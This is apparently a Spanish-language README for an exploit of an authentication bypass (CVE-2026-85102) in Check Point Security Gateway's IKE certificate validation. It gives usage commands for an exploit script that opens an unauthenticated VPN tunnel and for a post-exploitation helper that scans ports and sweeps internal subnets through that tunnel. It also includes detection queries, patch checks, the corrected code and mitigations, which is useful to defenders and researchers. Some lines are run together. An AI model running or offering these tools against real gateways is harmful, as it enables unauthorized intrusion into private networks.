
Omisión de autenticación y ejecución remota de código en VPN de acceso remoto y de sitio a sitio
Explota CVE-2026-85102 para establecer un túnel VPN no autenticado en Check Point Security Gateway eludiendo la validación de la cadena de certificados IKE.
Aviso oficial de Check Point: sk1000117
Producto: Check Point Security Gateway, Check Point Spark Firewall
Versiones afectadas: R81.20, R82, R82.10 (pre-Bundle T24), R80-R81.10 (todas EoS)
No afectadas: R82.20
Componente: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
Causa raíz: IsChainTrusted() llama a CanonizeChain() pero ignora su valor de retorno. Incluso cuando la canonicalización de la cadena falla, la función devuelve TRUSTED.
Explotación: Un atacante puede:
CanonizeChain()CVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl, iproute2 (comando ip), nc (netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| Parámetro | Descripción |
|---|---|
<target_ip> | IP de la puerta de enlace Check Point |
-u <username> | Nombre de usuario VPN (predeterminado: testuser) |
-l <local_ip> | IP local manual para sistemas con múltiples interfaces |
-c <cert_host> | Host alternativo para la extracción del certificado ICA |
--cleanup | Eliminar la configuración del túnel |
Revise los registros en busca de inicios de sesión anómalos de Mobile Access basados en certificados. En SmartConsole/Spark Management, vaya a Logs & Monitor / Logs & Events y busque eventos posteriores al 12 de septiembre de 2026:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
Inspeccione los eventos en busca de usuarios, clientes o direcciones IP de origen no reconocidos.
Sujetos de certificado sospechosos observados:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=globalInstale LivePatch Take 26 (BUNDLE_URGENT_SECURITY_UPDATE):
Valide la instalación:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
La corrección modifica libcpcert.so:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
Deshabilite las reglas VPN implícitas y defina manualmente el acceso VPN para UDP/500 y UDP/4500 para direcciones IP de pares específicas. Consulte sk179346.
Deshabilite las reglas implícitas de VPN de acceso remoto. Cree reglas explícitas de Control de Acceso que permitan los servicios de VPN de acceso remoto requeridos hacia el Security Gateway:
Nota: Estas mitigaciones no son aplicables a los Spark Firewalls gestionados localmente.
Este código de exploit se proporciona con fines de investigación y pruebas de seguridad. Úselo en sus propios sistemas o con autorización explícita del propietario del sistema.